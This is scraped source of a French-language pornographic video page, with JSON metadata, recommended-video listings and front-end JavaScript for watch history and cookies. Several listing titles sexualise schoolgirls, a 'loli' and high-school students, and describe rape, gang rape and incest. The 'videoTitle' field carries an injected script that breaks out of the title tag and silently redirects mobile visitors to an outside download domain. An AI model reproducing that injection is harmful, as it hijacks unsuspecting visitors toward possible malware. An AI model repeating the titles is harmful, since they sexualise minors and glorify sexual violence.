Miroir Magique Hardcore : Chair humide et collante ! Massage intégral en collants ! Peau étouffée, jusqu'à l'extase ! Lubrifiée, pour une excitation intense. (Saturation Vire)","site_id":0,"video_url":"https://2605.v155p.com/20260701/ZL8ozNBq/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjkvZTIxNWU1YzAwMjJhMTY2YzQ2ZDM2NDJhMWE1ZTViYjUuanBn.cache","duration":"04:20:06","actor":[],"lastmod":1783766805,"rating":"9.0","view_count":505,"description":"Miroir Magique Hardcore - Chair humide et collante ! Massage intégral en collants ! Peau douloureuse et suffocante ! Expérimentez l'excitation avec du lubrifiant partout. (Saturation)","tag":["Miroir magique","Miroir magique","Numéro miroir","Viande","corps entier","collants","massage","peau","Incapable","respirer","asphyxie","distrait","lubrifiant","Fluide lubrifiant","liquide","Expérience","Sexy","œstrus"],"site_url":"178873","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["女优明星"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjkvZTIxNWU1YzAwMjJhMTY2YzQ2ZDM2NDJhMWE1ZTViYjUuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"硬派魔镜号 湿濡肉肉!全身裤袜按摩!皮肤无法呼吸到窒息失神!满是润滑液体验性感发情 サディスティックヴィレッジ","s_keywords":"硬派魔镜号 湿濡肉肉!全身裤袜按摩!皮肤无法呼吸到窒息失神!满是润滑液体验性感发情 サディスティックヴィレッジ","s_description":"Miroir Magique Hardcore : Chair humide et collante ! Massage intégral en collants ! Peau étouffée, jusqu'à l'extase ! Lubrifiée, pour une excitation intense. (Saturation Vire)","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzMxNDk1OGMyMTA1ZjE2YzdmZTUzZDZiNTdmMzUxYTMuanBn.cache","vod_id":18957465,"title":"GVG-159 Un café avec des employés à temps partiel auxquels vous ne pouvez pas résister.","lastmod":"2025-03-22","duration":"02:01:01","url":"/play/18957465.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWVmM2RiMzIyYWY1NjZmNjEyMjZhNjhlZjNmMzRiNmYuanBn.cache","vod_id":18938798,"title":"OKP-022 Collants de qualité divine, l'uniforme d'Abeno Mirai, de la mignonne petite fille loli à la mère au foyer, enveloppés dans les belles jambes d'une femme espiègle.","lastmod":"2025-03-22","duration":"01:34:01","url":"/play/18938798.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2NmNWIyMGM3ZDE1ZjM1OTM0MTk2MGU2Y2Y2NTdkZDkuanBn.cache","vod_id":18993040,"title":"KAWD-987 Une jeune fille muette est harcelée sexuellement à bout portant et agressée à plusieurs reprises sur le chemin de l'école - Viol collectif dans un train - Kasagi Ichika 1","lastmod":"2025-12-14","duration":"01:57:05","url":"/play/18993040.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNGU5MDI3NTcwYWZjNWE4YTQyYTYzOTFmMDJmOTAwOTkuanBn.cache","vod_id":18934515,"title":"Un homme couche avec une jeune fille née en 1994, vêtue d'un uniforme JK rose et de collants roses. Elle est incroyablement sexy, a ses premiers orgasmes multiples et l'appelle « mon mari ». Les dialogues sont crus. Version originale 1080p.","lastmod":"2025-12-14","duration":"00:15:19","url":"/play/18934515.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjc5Y2M1NTNhYmY2YzAxYWEwZjc4ZTY3ODUzMmM3MWUuanBn.cache","vod_id":19015226,"title":"— Le lapin sexy de Tzuyu","lastmod":"2025-03-24","duration":"08:42","url":"/play/19015226.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODVjNzNiYzg2MWRhNmVkOWZjNGM2NTA0MGY2OWI4NWEuanBn.cache","vod_id":18925683,"title":"Une jeune femme ravissante et élégante se livre à un strip-tease sensuel, vêtue de bas noirs et de talons hauts. Elle retire lentement ses accessoires et s'adonne à un rapport sexuel – c'est incroyablement envoûtant. À ne pas manquer !","lastmod":"2025-12-14","duration":"01:37:08","url":"/play/18925683.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNjFlYWJmNTU4OTMzYzZmNWYzMGRmYWFmNjg4NWEwN2EuanBn.cache","vod_id":19147227,"title":"Dilraba se transforme en une femme mariée sexy","lastmod":"2026-03-08","duration":"06:16","url":"/play/19147227.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MDgvYjlkYzUxZmZhNGI3MWVjZjM0OTUyNzViOGQzOWE3OWUuanBn.cache","vod_id":19041877,"title":"VENX321 Une mère a rendu ses seins si beaux grâce à d'innombrables jeux de tétons qu'elle n'a pas pu résister à l'éjaculation de son fils.","lastmod":"2025-07-07","duration":"01:40:20","url":"/play/19041877.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODA5OWY2OTI1NTA4ODE3YzU2MTNkMWRiMDAxYTVkNTIuanBn.cache","vod_id":18982003,"title":"SDMM-130 Échappez à la voiture miroir magique ! 3 : La voiture miroir magique a une limite de temps de 100 minutes, et vous ne pouvez vous échapper qu'en ayant des relations sexuelles, vous êtes donc piégé dans une relation qui est absolument impossible.","lastmod":"2025-12-14","duration":"03:21:30","url":"/play/18982003.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMjQvN2MxZmM3ZWIyMmZkYTdiYWNjODYxMTZlMTNlNmEzODAuanBn.cache","vod_id":19059414,"title":"Ma première expérience d'ingestion de sperme - Azusa Momohira 10musume_071823_01","lastmod":"2025-10-23","duration":"01:03:22","url":"/play/19059414.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMmVhNTBmYzFiYTExNzZlZTRmOTc3MmM0ZDU3NDE5NDkuanBn.cache","vod_id":18927833,"title":"AP-733 Harceleur d'orgasme démoniaque par suffocation à la mousse Volume 5","lastmod":"2025-12-14","duration":"00:19:59","url":"/play/18927833.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTMzMzdhNmY2MTVmMWRlY2M3NjQ0OWFjODgwY2IzMjMuanBn.cache","vod_id":18996913,"title":"Une présentatrice de journal télévisé sud-coréenne, vêtue de bas noirs sexy, se masturbe de manière séduisante sur une chaise !","lastmod":"2025-03-23","duration":"30:31","url":"/play/18996913.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTFjMzZiNmNlM2Y1NjNjYjFiMDJmYjRhNjNiZTIxMDkuanBn.cache","vod_id":18974225,"title":"727PCHN-077 Deux éjaculations à l'intérieur d'une lycéenne qui ne cesse de supplier pour avoir du sexe !","lastmod":"2025-03-23","duration":"00:53:29","url":"/play/18974225.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTEvNDAyZWMxNGRkYTYxOTRlNjZjNjdhMzJiNjA0ZmYwYzMuanBn.cache","vod_id":19167719,"title":"[Triste nouvelle] Désormais, ces filles aux formes généreuses vont faire le bonheur des masseurs ! 7 actrices : Tsubaki Rika, Hatano Yui, Takase Rina, etc. LEO","lastmod":"2026-07-11","duration":"03:10:16","url":"/play/19167719.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTEvMThiMjFmZWYzNDJkNGFmMTVmOGVkNWQwMjA2N2Q1ZDIuanBn.cache","vod_id":19169137,"title":"Apogée au coucher du soleil. Massage","lastmod":"2026-07-20","duration":"18:36","url":"/play/19169137.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYjMzOWNkMTc1ZGM4N2RhODVkNGJmMDNkMjBlMzc5NjYuanBn.cache","vod_id":19136174,"title":"Première rencontre, une toute nouvelle Yasaka Nagi. Pour atteindre le sommet de l'industrie du X, elle libère pleinement sa sensualité pour la première fois. Trois rapports complets, son premier orgasme. Yasaka Nagi MIDA-302","lastmod":"2026-01-01","duration":"02:51:00","url":"/play/19136174.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYjUyMjg3NDgzZDFjZGRkNTAyNmI4ODJiYmE5NTYyODIuanBn.cache","vod_id":19136862,"title":"Scénario exclusif : Le nouveau grand frère de mon beau-père est tellement mignon ! J’espère vraiment qu’il me gâtera avec son pénis.","lastmod":"2026-01-05","duration":"20:16","url":"/play/19136862.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWQyOWI1ZmJlYTZmY2IwNWIxYzY5YTc0ODlhODdlMDEuanBn.cache","vod_id":19017028,"title":"MIRD190 Territoire Absolu : Académie du Harem de Belles Filles Taquines 2 - Piégée entre des cuisses lisses, incapable de bouger, forcée d'éjaculer encore et encore !","lastmod":"2025-03-24","duration":"03:39:18","url":"/play/19017028.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjI0MjMzMmMwYWU5M2ZjYWJlNzA5OTNmYjlkYjc5YTIuanBn.cache","vod_id":18981005,"title":"[Sous-titres chinois] DLDSS-204 La meilleure amie de ma femme m'a chuchoté à l'oreille : « Je vais jouir ! » Je n'ai pas pu résister à la tentation et j'ai éjaculé à plusieurs reprises en elle. (Mizukawa Jun)","lastmod":"2025-12-14","duration":"03:01:21","url":"/play/18981005.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMTYvMTdkNTgzZTMxMjA1YmMyMmE2OTFjNTYxY2I1ZDYzOWYuanBn.cache","vod_id":19062881,"title":"Première expérience de sexe anal de Liliana, une amatrice asiatique.","lastmod":"2025-12-13","duration":"04:51","url":"/play/19062881.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjBkNTgyZDQ2Njc5NmQzNjBlYjVlN2IzNzQ2NzBiODcuanBn.cache","vod_id":19010531,"title":"DVDMS480 Miroir Magique Révélation du Visage : Un petit ami et une petite amie peuvent-ils se masturber ensemble seuls dans une pièce, et leur désir sexuel peut-il l'emporter ? 12.","lastmod":"2025-03-24","duration":"04:00:14","url":"/play/19010531.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMTI2MTBiNTdhYmYxNjVmYzg3NjQxNDNmMGY4ODY3ODQuanBn.cache","vod_id":19144002,"title":"Pacopacomama 040525_100 La chaise obscène est arrivée ! Une livreuse mariée, à la peau claire et élégamment vêtue.","lastmod":"2026-02-17","duration":"01:00:30","url":"/play/19144002.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzAyOWI0ZTliNWZkZDc2MDhmMDJmOWMzMzU3YjNkMjkuanBn.cache","vod_id":19026222,"title":"Collants délicieux d'une femme mariée, 27 ans, troisième année de mariage.","lastmod":"2025-03-25","duration":"01:56:21","url":"/play/19026222.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDM2M2ExZmExNjMwMDE5Mjk4ZDMwNDhhMGNjODc3MWIuanBn.cache","vod_id":18962945,"title":"TIKB-046 [AVERTISSEMENT : Corps érotique] Une jeune femme à la peau brune et saine et au pubis épilé ! Sexe pervers avec un corps voluptueux, plantureux et lascif !","lastmod":"2025-12-14","duration":"02:07:11","url":"/play/18962945.html"}]},
videoTitle: '</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Miroir Magique Hardcore : Chair humide et collante ! Massage intégral en collants ! Peau étouffée, jusqu'à l'extase ! Lubrifiée, pour une excitation intense. (Saturation Vire)',
language: 'fr',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Lien copié !');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Lien copié !');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Lien copié !');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}